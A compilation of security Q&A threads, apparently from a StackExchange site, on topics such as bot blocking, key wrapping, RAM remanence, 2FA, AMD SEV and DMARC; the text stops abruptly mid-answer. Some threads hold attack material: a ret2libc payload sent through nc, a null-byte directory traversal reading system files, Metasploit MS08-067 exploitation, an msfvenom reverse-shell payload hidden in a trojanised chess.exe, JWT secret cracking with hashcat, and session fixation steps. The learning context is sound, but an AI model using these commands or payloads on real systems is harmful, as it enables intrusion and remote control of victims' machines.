Should I block the Yandex Bot? I have a web application that the Yandex spider is trying access into back-end a few times. After these spider searching, there are few Russian IP addresses that try to access back-end too and they failed to access.

Should I block Yandex or take another action?

Update:

The Yandex spider visits a back-end URL about once per 2-3 day. We did not release any back-end URL at the front-end.

The "back-end" meanings:
the web application's interface just allowing our administrative to manage the application

Should i block Yandex

Why?
First, if the bot is a legitimate search engine bot (and nothing else), they won't hack you. If not, blocking a User agent won't help, they'll just use another one.
If your password is good, fail2ban is configured, the software is up to date etc., just let them try. If not, you need to fix that, independent of any Yandex bots.

To make sure the problem is actually Yandex, try disallowing it in robots.txt and see if it stops.
No => not Yandex.

(Did set up a new webserver some weeks ago. One hour after going online, had not even a domain yet, a "Googlebot" started trying SQL injections for a non-existent Wordpress. It was fun to watch, as there were no other HTTP requests. But I did not block Google because of that.)


Splitting up symmetric key to be able to encrypt using 1024 bit RSA public key The application which I am writing generates a 256 bit symmetric key everytime it wants to communicate with the server and encrypts the data and sends it to the server. This is to avoid storing the symmetric key on the machine. Now, to encrypt the symmetric key, I am using a 1024 RSA public key installed on the machine whose private key resides on the server. The application sends the encrypted symmetric key as well to the server.

Now, the size limit for encryption using 1024 bit public key with PKCS#1 v1.5 is 117 bytes. Is it secure to split the symmetric key into multiple parts and encrypt them separately using the public key and send them to the server. At the server side, I decrypt them using private key, construct the 256 bit symmetric key back and decrypt the data.

Is this scheme secure? I apologize if you find this question daft.

Firstly, 256 bits is 32 bytes, which is less than 117 bytes, so that fits and there is no need for any kind of splitting.

It could be argued that it is useless to have a 256-bit key for symmetric encryption if it is protected with a 1024-bit RSA key, because, due to its mathematical structure (the structure which enables the public/private key magic), the RSA key is of much lower robustness against attacks, down to the relatively low strength of "about" 80 bits (that's still out of reach of what can be done right now, but at least a machine which breaks 1024-bit RSA key can be designed and its price computed, contrary to a brute force search on a 256-bit symmetric key space, which is way beyond Science and even science-fiction).

The kind of splitting you are asking for would not be trivial to do securely. This would require some careful analysis. No such analysis has been performed yet, to my knowledge, because there is no practical situation which calls for it.

But, most importantly, thou shallt not reinvent the wheel. Establishing a secure communication between a client and a server, with a key exchange and then symmetric encryption, is very tricky to do correctly. There is a standard solution called SSL (well, now it is called TLS, but that's the same). This protocol has been broken and repaired and analysed and optimized for almost two decades, and now it seems safe enough. It is highly doubtful that you (or, for that matter, any human being) could produce something as good (or at least "not worse") by yourself, in substantially less time. There are zillions of design and implementation details which can go wrong. So do the smart thing, use SSL; even smarter, use an existing implementation of SSL instead of writing your own. It will save you a lot of worries, time and money.


how to wipe RAM in Windows 7 How can i wipe RAM completeley before or during the shutdown process of Windows 7?

I tried several programs and a script but later i noticed that all those options only claim to free unused RAM space.

DDR memory technology has to be "refreshed" continuously by the memory controller in order to prevent the data from decaying into an unreliable state. Essentially, each "cell" of memory is a small capacitor which can be charged or not charged (representing 0 or 1). When you power down, the memory is no longer being refreshed, so that charge leaks out. The data gets less and less coherent over time, until it's just garbage.

If you're using DDR3, the maximum time you'll need to wait for data coherence to reduce to the 50% mark at room temperature (~25C) after power-off is about 45 seconds, though in practice it can be as short as 1.5 seconds. Once memory reaches this point, there is statistically no way to know whether its original value was a 0 or a 1 - it is unrecoverable. Keep in mind that the rate of loss of coherence is proportionate to temperature, so if your memory is a fair bit hotter than ~25C (it probably will be) then it'll likely lose coherence much faster. Equally, if you run your memory at below-freezing temperatures (hardcore overclocker, perhaps?) then the rate of coherence loss will be slower.

So, to answer your question more directly, you don't need to do anything but sit there for a minute after you've powered off. Unless your threat model includes someone grabbing your laptop and dumping it into a convenient bucket of liquid nitrogen during the first couple of seconds after power-off, you'll be fine.


Is there non human risk related to idle sessions? Let's say the OS is Windows or Linux
As a System Admin, I think the answer to this question is : NO
I always configure end users machine for auto lockout for a given idle session time. Because I'm think, if the user leaves the machine without locking it, I should try something to at least protect my network
What if I did not do that ? Do you think there could be reasonable risk not related to a malicious person taking advantage of an idle session ?
As the command asked for clarification below
I'm talking about login session (ex : SSH, Windows OS, Linux OS)

There are many risks.  The examples I am will be giving can be done even when the session is actively being used by the user.
First example involves a malware that first acts as a key logger, to catch a sudo credential, then it automatically starts to send keyboard strokes to the OS.  These key board strokes involve commands being entered into the SSH console.  Think of it as a rubber ducky attack with a key logger that does not involve a USB or removable media.
Another example involves an exploit with the SSH console software at the user end.  This exploit would use a port other than the SSH port.  An adversary that may know what SSH software (ex. PuTTY) is being used and send arbitrary data to that port.  This arbitrary data would be an exploit that might cause unseen changes at first to the configuration of the SSH software.


Unknown chrome notification from shoutmeloud.pushengage.com on my Mac On my Mac, recently I started to see popup of a notification while using my chrome. The notifications are from a website called shoutmeloud.pushengage.com
I ran an anti-virus scan but it didn’t detect anything.

I tried to disable some chrome extensions without but this did not remove the issue.

Can anyone explain to me what this is?

PushEngage seems to be an HTML5 push notification provider. It would allow a site to easily embed push notifications (including desktop notifications if the browser supports it). It does not look malicious in itself.

Of course, it may be abused by a site to deliver spammy notifications to you, provided you have their site open in a tab somwhere (or a browser extension). Check your frequently used tabs and installed extensions. Sometimes a site can be exploited to include malicious code that could generate such notifications, similar to malvertising.


How can alleged illegal downloading be detected? Joel Tenenbaum was accused of illegally downloading 30 songs. How might his action have been detected? Can anyone show a concrete method?

Update

Using a honey pot or monitoring the peers list makes sense. However, in my view, honey pots only get peers' IPs. How can  those companies identified downloaders in real world? As we know, some use ADSL and their IP is dynamic. According to this site, The RIAA names defendants based on ISP identification of the subscriber associated with an IP address, and as such do not know any additional information about a person before they sue. But how can they get the ISP's data?

As others mentioned, honeypots on p2p give the IP.  Once they have the date, time and IP their lawyers send the ISP a letter asking for the subscriber information.

What the ISP does is their own business.  They might decide that it's too costly to deal with these lawyer's letters and wait for legal action, or they might decide to forward you a cease and desist, or they might hand the information over.   A letter from a lawyer is relatively cheap, can be issued as a form letter, and can really say anything plausibly legal and plausibly ethical.

Privacy laws can limit what information ISPs can give out and most ISPs retain the data for very short periods of time.


Disclosing too much info over email just to close account? I have account with a stock option trading platform. They are well known and reputable. I had a couple thousand in the account, bought and sold for a while, and then cashed out and withdrew. So I'm not concerned this a is some scam to get money or else they would've done it when I willingly handed them that much cash.

However, now that I've cashed out I want to close my account as I don't plan on using it again and it has my bank account tied to it. I looked up their process of closing the account and their instructions, given on their website, are to email their customer service and include the following in the email:

The name of the account owners(s)
The last four digits of the Social Security number of the account owners(s)
The date of birth of the account owner(s)
The (trading company) account number

This seems like a red flag to me.

Of course they are likely just doing it because they don't have a better way implemented and this verifies people's true identity so that can't close others accounts possibly losing them (many)thousands of dollars. But giving some random customer service rep all of that information seems risky. Would those pieces of data be considered risky? To the extent that I should take an alternative action?

The account number you have with them is used to uniquely identify your account with them. This would have been necessary to correctly identify the account to close, so it's perfectly reasonable to request this number. Closing the correct account would be impossible otherwise.

Account holder name isn't usually considered a high value secret. If you were already a customer with them, it's likely the rep would be able to view your name if they have your account number, just so they can call you with the correct name.

The four digits of Social security number does represent a security risk to disclose to a random rep. Due to the way social security number is assigned before SSN randomization in 2011, a moderately advanced attacker has a 44% chance of guessing the first 5 digits of your SSN in a single guess, with just publicly available data, if they know where you were born (which is likely the same as your current address), and your date of birth. The last four digit are the part of SSN that is the hardest to guess since they're just serial number.

I would say that if they are only asking these for questions, they are authenticating you insufficiently.


Can Google access data in their Confidential Computing VMs? A cloud operator such as Google can take a snapshot of a normal VM. This includes CPU state, RAM and disk. This can then be copied to another physical and resumed there. Or it can be analyzed off-line, and any cryptokeys in memory or in the CPU state can be extracted.
This means that if you do not trust your cloud VM provider (maybe your cloud VM provider is owned by your worst competitor), you should not process confidential data on those VMs.
https://cloud.google.com/confidential-computing seems to use AMD's Secure Encrypted Virtualization which includes hardware RAM encryption: https://developer.amd.com/sev/
If the RAM is encrypted, it will make it harder to use attacks like https://rambleed.com/
But will it also protect against Google?
It seems the RAM is encrypted with a key, that lives in the CPU. But is this key included when Google takes a snapshot of the CPU state of the VM?
In theory I could see it work like this: The CPU has a small web server with a TLS certificate signed by AMD. I access the web server, verify AMD's certificate, and now I have a secure connection to the CPU that Google cannot access.
Then I give the CPU a secret key to encrypt RAM with. Then I give it a disk image encrypted with the same key. Then I boot the VM.
If the secret key physically cannot leave the CPU, then it should be impossible for Google to access my data: The RAM is encrypted, data to the disk and to the network is encrypted. So I do not need to trust neither the RAM, the storage, nor the network. It will, however, also mean Google cannot snapshot my VM and restore it on another CPU.
This would also mean that this answer is outdated: https://security.stackexchange.com/a/215927/84564
Currently I see no way to do something similar to
verifing the AMD certificate in Google's current solution. And thus I see no way to securely set a key that Google does not have access to.
Can Google take a snapshot of a running confidential computing VM and restore it?
Using AMD's SEV can CIA safely process their most secret data on North Korea's Confidential cloud (assuming they have that) without North Korea being able to access the data - assuming that AMD is trustworthy, but all other hardware apart from the CPU is made in North Korea?

I found: https://www.youtube.com/watch?v=0-ISmJNxGiY
Watching 11:00-15:30 it seems my theory with the internal web server is pretty close to how it is designed.
So this confirms that it is indeed possible. This is HUGE: In time we will be able to run on untrusted hardware as long as we trust the CPU. So this answer is indeed outdated: How to prevent a hosting company from accessing a VM's encryption keys? The answer is not entirely wrong, because a dedicated attacker could open the AMD CPU and attach wires inside the CPU, but it would make the attack much harder - especially if AMD actively made the CPU tamperresistant.
But since Google does not seem to provide the information from the slide at 15:00 (i.e. I do not get the PDH and do not get to talk directly to the CPU) it seems Google still has control over the server: They have an (undisguised) Man-in-the-middle, namely their control panel, which could be lying about your VM being spawned on an AMD CPU.
This leads me to the conclusion that Google Confidential computing VMs are probably well guarded against attacks from other VMs running on the same server (like https://rambleed.com/), but they are not currently guarded against an attack from Google.
If, however, Google gave me access to the PDH this could change.
With the certificate from the AMD Secure Processor I can set up a secure channel to this unique CPU using Diffie-Hellmann (the chip endorsement key https://youtu.be/0-ISmJNxGiY?t=728 and the platform Diffie-Hellmann https://youtu.be/0-ISmJNxGiY?t=660) - pretty much like https, where you can also check the certificate is from the correct website by following its chain of trust.
The hardware outside the CPU will thus be similar to the internet when talking https: You do not need to trust the hardware (just like you do not need to trust the internet), because it only sees encrypted data.
Said differently: With normal computers we have no problem connecting them to internet that we do not regard trustworthy: We use encryption, so that anyone spying on the data going into and out of the computer will only see encrypted data. We can still check that we are communicating with the correct recipient using digital certificates.
AMD SEV just moves this limit inside the CPU: Everything going in and out of the CPU will be encrypted. And a cloud customer can check he is talking to the unique AMD Secure Processor by using the digital certificates.
The hypervisor (which is the first OS that boots on the machine and which is used to provide internet access to the AMD Secure Processor) does not have to be trusted. The hypervisor is isolated from the VM: The hypervisor can read and write the encrypted memory, but not the key for this encryption (https://youtu.be/0-ISmJNxGiY?t=86). A bit like VPN: You can have an untrusted connection carry a trusted connection on top of it.
The hypervisor can control VMs, but it cannot set the encryption key for the VM. A bit like an ISP who can throttle your internet connection without being able to decrypt your VPN.
The trusted VM starts by having a unencrypted, untrusted BIOS (https://youtu.be/0-ISmJNxGiY?t=563). This BIOS is then hashed and encrypted by the trusted CPU, and the hash is given to the customer. This way the customer will know if the BIOS for the VM is changed. If the customer accepts the hash as correct, he will then inject a secret (e.g. an encrypted disk image or a key to open an encrypted disk image stored on untrusted storage) (https://youtu.be/0-ISmJNxGiY?t=639), and then the VM boots in the encrypted RAM.
Summing up the similarities between https and AMD SEV:

Feature
HTTPS SERVER
AMD SEV

Untrusted features

Fast storage
Full disk encrypted SSD
Encrypted RAM

Slow storage
Encrypted remote backup
Full disk encrypted SSD

Control channel ("network traffic")
https encrypted
Diffie Hellman encrypted

Trusted features
The whole server
AMD Secure Processor

Certificate
TLS-certificate for https
certificate for secure processor

Certificate authority
e.g. Thawte
AMD

Key for fast storage
full disk encryption key
RAM encryption key

Key for slow storage
backup encryption key
full disk encryption key

Key storage
small boot disk
secure encrypted NV-storage

Would I recommend CIA do their confidential data processing in North Korea's confidential cloud (assuming they have one)?
No: AMD's SEV makes it much harder for an attacker. An attacker cannot simply take a snapshot and use that. He can, however, still corrupt memory, and if he is willing to open the CPU he may be able to bypass some security by attaching wires. But these attacks are out of reach for a normal cloud hosting provider.
So it does not protect against a truly dedicated evil hosting provider, but it does seem to protect against a sloppy hosting provider, who does not have major resources for attacking the customer's data.


When connecting to a server using ssh but you do not authenticate using a private key, what key is used to encrypt the data that is transferred? So I started to use ssh on a server and I noticed that there are two ways of authenticating. I can either just type ssh@username and then provide password or I can use -i command and then select a key file that I have on my drive to give as an argument?

I though the key was necessary to encrypt the communication. If the key file is not provided what is the key used to encrypt the communication?

The users key is used for authentication of the user only, similar to the optional client certificate in TLS (which includes HTTPS). Encryption is done with a key created using a key exchange algorithm like Diffie-Hellman but only after authorizing the server to protect against man in the middle attacks. Insofar is SSH similar to TLS.
For more information have a look at Understanding the SSH Encryption and Connection Process.


Is there any point in using two step authentication if you have strong passwords? If you are in the habit of using strong passwords (randomly generated by password manager) is there any point in using two step authentication?

Assuming that 99% of the time that when you enter a password you do so on your own device, e.g. machine less likely to have key loggers on it (not some public library or cafe machine).  What in this case is the point in having a two step authentication system other than peace of mind?

I can understand having 2 Factor Authentication to a password manager as you are repeatedly entering this password and it effectively contains the keys to everything else but for everything else why bother?

If I'm missing something here please tell me.

There are a few benefits that persist in 2FA:

A keylogger can't make use of my 2FA passwords for later.
I can't share my 2FA with somebody on an ongoing basis.
I'm more likely to know my 2FA credentials are compromised (e.g., because my token is missing) than somebody simply copying my sticky note hidden in my wallet.
Somebody who phishes you will be have a limited window during which 2FA will be useful for them and it won't be ongoing.

Controlling the password is usually weaker than the password itself, and that makes 2FA very helpful even with very strong passwords.


Do PHP frameworks such as Zend, symfony and CakePHP provide default protection against cross site scripting? ASP.NET MVC provides default protection against cross site scripting. Just wondering, if PHP frameworks do the same?

Zend Framework offers an Escaper component to escape output and defend from XSS
Symfony provides an automatic output escaping feature
CakePHP before version 2.4 provided a sanitization class

I recommend you the following lectures for further information:

Secure Application Development with Zend framework


Formal functional relationship between risk and CVSS The Common Vulnerability Scoring System (CVSS) allows, among other things, to quantify the severity of software vulnerabilities.

What is the functional relationship between a CVSS and the associated risk? In other words, what would be the shape of the function risk(CVSS)=...?

I am asking this because I would like to have a "cumulated insecurity level" of a host, to distinguish between, for instance, a host with five CVSS=2 vulns and the one with two CVSS=10. The function above would help to set a weight for each CVSS, so that the cases in the example above are not equivalent (which would be the case of the function was linear -- which I feel it is not the case, it should be rather exponential to highlight the worst cases).

The methodology used by OpenVAS security scanner to give a global CVSS score to a host is to take the highest CVSS score in all vulnerabilities discovered.
This means a host with five CVSS=2 will have a final CVSS score of 2 for OpenVAS, and the other one with two CVSS=10 will have a final CVSS score of 10.

Strictly speaking of the function risk(CVSS)=..., on my opinion I would say it would be close to exponential.

Let's imagine someone scanning a whole range of random IP addresses for vulnerabilities to exploit to constitute his botnet. He will only focus on high CVSS, not to spend much time on each host.

Now imagine someone scanning 2 of your public IP addresses to target you specifically. If he discovers one has a potential vulnerability with a CVSS of 10 and the other one only CVSS of 2, he will try to compromise the weakest one, not spending much time on the other one.

Moreover, CVSS 2 vulnerabilities does not allow someone to take full control of your server, so they will probably be used only by a determined attacker needing to gather information about your systems.


How to store an encryption key on shared hosting? I am designing a simple online patient management system that is running on shared hosting. According to national regulation sensitive data should be encrypted when used online, so I have encrypted all sensitive fields such as name, phone, address and blood type.

My problem is now how I should store the key? If the key is placed on the server, and the server is compromised, the data can easily be decrypted. After searching, I got the following solutions which I am still not sure if they are correct or not:

Encrypting source code for all PHP files.
Placing the key on another server and get it from the host through HTTPS connection using asymmetric encryption. The host gives the public key and the remote server gives the main key encrypted, then decrypt it and use it for encrypting patient data.

For these solutions we would face the same issue again on how to hide the keys.

I also looked at the question "Where to store a key for encryption?", but most of the points requires an administrator account which is not available on shared hosting.

The only proper answer to this as Xander commented is that you can not expect proper security for sensitive data in a "Shared" environment. You are not the administrator of the server which means any security flaw or misconfiguration left open by "someone else" may result in your data being compromised. And commonly in such cases when the parties involved find anything which looks like an encryption key and some apparently encrypted files, the first thing tried is to decrypt and see whats inside.

So all in all it is best to get a host who can assure you HIPAA or PCI-DSS like data confidentiality or host the data in an environment which you or your organization has complete control over so you can secure it to acceptable levels yourself.


In return to libc how do you know the address of system() in a remote machine? I have the following scienarion:

a vulnerable program running in a server and can be accessed using netcat

I have a copy of that program locally and I can exploit it locally using ROP:

./vuln garbage + &system() + &exit() + &"/bin/sh"

now I want to exploit it remotely so technically I would be executing this command:

echo -e "garbage + &system() + &exit() + &/bin/sh" | nc host port

My problem is: I do not know what is &system() on the remote machine. Is there any way to get it without brute force ie: trying all memory address from 0x00000000 -> 0xFFFFFFFF

ps: &exit() is negligible but good-to-have

According to this reddit post. The following ways can be followed to obtain system() address on a remote machine for later return 2 libc exploitation.

No ASLR:
Find out their version of libc/msvcrt. It should (Windows makes no guarantees, Linux shared libraries don't either) be loaded at the same address every time. Find address of system, use it.
Partial-ASLR (no PIE):
The original binary will be loaded in the same place every time (again no guarantees on Windows). Find entry of libc/msvcrt function in the GOT/IAT, use that address.
Full-ASLR:
You need an information leak.


How to find public IP, if it replaced by NAT IP? I designed a network architecture in cloud. I placed first IPS and then firewall (with Nat). I want to know if some attacks gone to internal networks which are not blocked by IPS. But I think these internal IP addresses were replaced by the Firewall Nat IP address. how do I track the attacks targeting my internal network as I don't have the correct IP addresses?

In my answer, I will assume that, when you write "I placed first IPS and then firewall (with Nat)", you actually mean that you have a NAT device (which might be a firewall) in between your IPS and Internet. If that is not the case, please update your question and leave a comment.

In such case, NAT should not create any specific issue because, typically, you're going to use DNAT for connections (and datagrams) comming from the outside. This type of NAT will replace the destination IP only, leaving the source IP untouched. It means that you'll get the IP of the real, internal server that will be affected and the original (source) IP of the attacker (or, at least, the source address contained in the IP header: it will not give you the real attacker if the packet has been spoofed)

For instance, if you have a packet coming with source IP 1.2.3.4:4556 (attacker) for server 5.6.7.8:80 (public server IP address), here is what will happen:

Original packet: S: 1.2.3.4:4556 D: 5.6.7.8:80
DNATed packet:   S: 1.2.3.4:4556 D: 10.0.0.8:80

(Note that more complex NAT rule could change this. It is possible to fully replace source AND destination addresses and ports but that is only used in very specific cases and, since you're the one creating the NATing rules, you should know about it).


Directory traversal only works with URL-encoded "%00" char in the end I found a site, using acunetix, with a POST form which is possible to see plain text files, basically it's a directory traversal vulnerability, but the curious thing is that it only works when I add a "%00" in the end of the query string, something like this:

name=../../../../../../../../windows/PFRO.log%00

What's it? And why it happens and only works this way?

%00 is the URL-encoded version of a null byte character. In some applications you can inject a null byte to prematurely terminate a string. An attacker may take advantage of this to cut the end of a string that they can't control.

Here is pseudocode for how the affected code may look like:

print(readfile("./" + $name + ".txt"))

In this example, any user-supplied value for $name would be automatically appended with a .txt extension, stopping you from choosing arbitrary file names. To be able to still supply your own path, you can use the 0x00 byte to terminate the string immediately after the payload.

Hence, these paths would be treated equally by the affected system:

./../../../../../../../../windows/PFRO.log
./../../../../../../../../windows/PFRO.log%00.txt

Null byte injection flaws are common because many higher-level languages are based on C, where a null byte is used to indicate the end of a string. E.g., here is an example of a vulnerable PHP script, taken from the PHP docs:

<?php
$file = $_GET['file']; // "../../etc/passwd\0"
if (file_exists('/home/wwwrun/'.$file.'.php')) {
    // file_exists will return true as the file /home/wwwrun/../../etc/passwd exists
    include '/home/wwwrun/'.$file.'.php';
    // the file /etc/passwd will be included
}
?>

Also see: Embedding Null Code on OWASP.


Security implications of providing users subdomains on my domain? I want to provide users with sub domains on my website.

Users will provide an ip address and the sub domain they want and I will then use a DNS service to redirect to that IP through an A record or CNAME record.

Apart from the obvious risk that the user performs something nefarious with the sub domain (eg. hosting illegal material etc), is there any risk that the individual could use this to hijack the root domain?

The root domain is just static HTML, if this changes anything. Thanks!

Yes, they could poison cookies on your domain to execute say a Session Fixation attack.

e.g.

The attacker visits your main website www.example.com and gets a session ID.
The attacker adds some JavaScript to their page at attacker.example.com to set the session cookie at .example.com to be the same as the session ID.
They entice their victim to visit attacker.example.com by sending them a link.
The victim visits the site and has the session cookie set at .example.com level.
The victim later visits www.example.com and logs in. Because there is a session cookie set at .example.com level, www.example.com uses this cookie for the session ID.
As the attacker is sharing that session, she is also logged in.

Whether this is possible on your domain or not depends on functionality. If not this exact attack, others may be possible. Session fixation can be mitigated by refreshing the session ID on login and logout.


Guarding against rogue certificates There has been a lot of news recently about certificates being falsely issued (due to the issuing authority having poor system security!).  Apparently the targeted users were mostly Iranians, but it's not hard to imagine this happening to anyone.

My browser comes pre-loaded with hundreds of certificates.  Is there any way to guard against rogue certificates?

Note: I realize this is more of a "security" issue than a "cryptography" issue, so please feel free to argue against these kinds of questions in the comments if you feel it's out of bounds for this forum.

Well, the SSL relies on the fact that you "trust" the party issuing the certificate - and current setup is that any CA can issue a certificate for any domain. There have been projects that try to implement the Web of Trust infrastructure for SSL certificates, in which the community confirms the authenticity of the certificate. But still - you have to trust the community.

For example, there's Perspectives project. It's a Firefox extension allowing you to choose a 'notary server' that checks if certificate presented to you is the same certificate other users see (so that would detect Man-In-The-Middle attack).

There's also a brand new project called Convergence.io made by Moxie Marlinspike that's based on Perpectives' ideas but allows for fine-grained configuration. Currently it's the best one and it seems to quickly gain attention. I'd recommend installing Convergence.io.


Running Windows Update when abroad Is it safer or more dangerous to run Windows Update when abroad and using a WPA2 connection to a random cafe's wi-fi?

Obviously good news: you get the latest security tweaks.

Possible bad news: just how likely is it that you've opened up path for malware to get into the heart of the machine?

In this document explaining Windows Update from 2008 (a bit outdated, but you get the idea), it is stated in the Security Protections section that:

  Windows Update uses the Secure Socket Layer (SSL) protocol to send and receive information. SSL is used to encrypt the information being transferred, prevents hackers from tampering with information being transferred, and verifies that the Windows Update agent is transferring data from an authorized Microsoft server.
  Each update is individually signed using the Secure Hashing Algorithm (SHA-1). This technology allows Windows Update to confirm that the update has been downloaded correctly and hasn’t been changed by anyone. The update signature is also compared to information in the update metadata that was previously downloaded.
  Windows Update also checks for the certificate associated with each update. This certificate provides a means for Windows Update to validate the source of each update. Currently Windows Update will only install updates that have certificates issued by Microsoft or other providers that are trusted by Microsoft.

Therefore, you should not be worried about downloading Windows Update on a public Wi-Fi unless the security provided by Windows itself is broken.


Using hashcat in order to crack the JWT signature in WebGoat I've recently started to practice my penetration testing skills and I got started with WebGoat.

I got to the "Authentication Bypass" chapter, to the JWT Token cracking. WebGoat presents this JWT Token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM

and asks you to change the username to WebGoat, and submit the new JWT token. This means I need to find with what secret the hash function is generating the signature.

In order to do that, WebGoat recommends to use HashCat with a 10000 words list, which I tried to do through my Kali Linux 2018.4 (running on a vmware player virtual machine) with the command:

$ hashcat -a 0 -m 1450 text.hash /root/wordlists/google-10000-english-master/google-10000-english.txt

Unfortunately, I get this error:

* Device #1: This device's constant buffer size is too small.

* Device #1: This device's local mem size is too small.

No devices found/left.

These are my specs:

I supplied the Kali Linux with 4 GB RAM and and 4 processors.

I just want to solve this stage and move on, I don't mind using any other program that is preinstalled in the Kali, and if it's even better than HashCat, then please tell me!

I also don't mind writing the code myself for bruteforcing but I'm sure it won't be as efficient as what is offered on the internet.

JWT Token Structure

As detailed on the JWT website (https://jwt.io/introduction/), JWT token consists of three parts separated by a dot (.), which are - Header, Payload and Signature. Both Header and Payload are Base64 encoded strings.

  Therefore a JWT token would typically look like this:
  Base64(Header).Base64(Payload).Signature

The signature is created by taking both the header and the payload, use a secret key to create a signature by using the algorithm specified in the Header.

Finding JWT Secret Key

What you need to do to solve this challenge is to find the secret key that has been used to create the signature. This can be done by using a brute force attack to calculate the signature by using different secret keys either from a wordlist or through a pure brute force attack.

The correct syntax to use to conduct brute force attack to find the secret key using Hashcat is:

Using a Wordlist:
$ hashcat -a0 -m 16500 text.hash [dict]

Pure Brute force attack:
$ hashcat -a3 -m 16500 text.hash

The option -m 16500 is the correct Hash Mode to brute force JWT tokens using Hashcat. The one that you have used (-m 1450) is for raw HMAC-SHA256 hash and is applied to the whole string, therefore resulting in an error.

The above method works fine for me to find a secret key for a given JWT token, however, I am not able to solve the WebGoat challenge yet. I am trying to get in touch with the Webgoat team to understand the problem and to solve this challenge. I will provide an update when I hear back from them and can solve the challenge.


The old syntax for showing payload options in msfvenom does not work I've tried so many times with different syntax to display the payload options in msfvenom. However, I cannot get it to run.

Version 1.

[*] exec: msfvenom -p windows/shell/bind_tcp --payload-options

Error: Missing required argument for option
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Version 2.

[*] exec: msfvenom -p windows/x64/vncinject/reverse_winhttps -o

Error: Missing required argument for option
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

How does it exactly work? Have I typed it wrong?
Thanks for the help.

The syntax for the options have been updated. Use:

./msfvenom -p windows/meterpreter/reverse_tcp --list-options

You can also start msfconsole, select the payload and then use:

show options
show advanced
show evasions

etc to show further detailed options about the payload you have selected.


When to send exe file to target system in order to exploit via metasploit I am newbie in Metasploit. Still learning the basics but I'm confused and would like some help.

1) -
Previously I learnt how to simply exploit any O.S. vulnerability using meterpreter. We can send an exploit to the target system and create a bind/reverse shell for control. Example -

Hack windows xp with MS08-067 exploit

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4 (Target)
RHOST => 192.168.1.4

msf exploit(ms08_067_netapi) > exploit

meterpreter > sysinfo
meterpreter > shell

Now by the above commands we can use a shell of target from the attacker machine. There is no need to create any exe in order to connect to the target vulnerable system. Meterpreter automatically injects memory and we can get shell.

2) -

Now when we use an encoder we have to create an exe and have to bind our payload inside the exe. When the victim runs this exe we can get the victim's system shell.

msfvenom -p windows/meterpreter/reverse_tcp LHOST= "" LPORT= ""-x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe

In order to exploit the victim's system we have to transfer this exe to their system.

Question:

Previously we don't require any exe in order to exploit a system but with use of an encoder we need an exe to hide the payload.
Can we simply encode our meterpreter tcp_bind payload without exe and send this to victim system?

Any help really appreciable.

BackGround info (Because metasploit is my jam) :
Most up to date systems are not really susceptible to remote attacks (Like you imply). The remote access payload you specified is used on windows XP for example.
The reason msfvenom and other things are used, in conjunction with the exe is because it can be used to try and evade Anti-virus and other things along the lines. (However encoding is used to get rid of bad chars not make something invisible to anti-virus.)

Answer:
Yes you are able to directly exploit the system, however you don't need to specify the payload. Upon successful exploitation with ms08 a meterpreter session will be opened.

Example of Exploit: msfconsole -x "use exploit/windows/smb/ms08_067_netapi;  set rhost <IP>; exploit"

Here is a useful link for this specific payload.

(if this is what you meant by previously)


Export Restriction of wrapper for existing crypto library I am creating a packaged C++ library for creating http/https clients/servers. As part of that, I am planning on using either the botan (http://botan.randombit.net/) or openssl tls wrappers.  My library will be open-source (hosted on github) and also have downloadable binaries available so the user can start using it immediately without having to build the library.

In this situation, are there notifications/regulations that I have to fulfill prior to posting my source code and binaries?

Legal matters are inherently complex because they depend on the jurisdiction, and with 193 countries or so (193 UN members, plus a few odd cases like Vatican, not counting federal countries which induce extra splits) there are a lot of cases to cover. When proposing some opensource software for download, you are actually giving it away to the whole world so you are both providing it to other people and exporting it, so regardless of where in the world you live, and where the servers are, chances are that many regulations apply.

See this site for a lot of pointers and explanations.

My own prejudice suggests to me that since you don't specify which country you live in, then you are probably American, and you implicitly refer to US laws and regulations. Since 2011, there is a relaxed clause for opensource software, which might apply to your case. Or not. If it really worries you, ask a lawyer (which I am not).


Dmarc: Why do I have dkim=fail, spf=fail and result=pass I have set up my company dmarc. It is in test mode and I regularly receive reports. Some seem weird to me and I would like to understand. For example, I have received a report with SPF and dkim failed, but the result is passed. I would like to go into prod. But I am not really confident because the result seems unpredictable: Here is a sample of xml record.

<record>
    <row>
        <source_ip>1.2.3.4</source_ip>
        <count>1</count>
        <policy_evaluated>
            <disposition>none</disposition>
            <dkim>fail</dkim>
            <spf>fail</spf>
        </policy_evaluated>
    </row>
    <identifiers>
        <header_from>mydomain.com</header_from>
    </identifiers>
    <auth_results>
        <spf>
            <domain>otherdomain.com</domain>
            <result>pass</result>
        </spf>
    </auth_results>
</record>

My IP 1.2.3.4 sent an email with the from header equal mydomain.com  to the domain otherdomain.com.

otherdomain.com considers this email as having valid dmarc.

Here is my config:

<policy_published>
   <domain>mydomain.com</domain>
   <adkim>r</adkim>
   <aspf>r</aspf>

none

   <sp>none</sp>
   <pct>100</pct>
</policy_published>

My SPF record: mydomain.com text = "v=spf1 ip4:1.2.3.4 ip4:1.2.3.5 ip4:1.2.3.5 ip4:1.2.3.6 ip4:1.2.3.7 ip4:1.2.3.8 ip4:1.2.3.9 ip4:1.2.3.10 ip4:1.2.3.11 include:mydomain.com include:subdomain.mydomain.com -all"

Why is this? I don't understand why it is passing. Can someone explain it to me, please?

TL;TR: someone send a mail with the SMTP envelope of otherdomain.com but the mail header From mydomain.com. Since the SPF check passed for otherdomain.com it might have been someone from otherdomain.com which tried to spoof the sender to mydomain.com.

<identifiers>
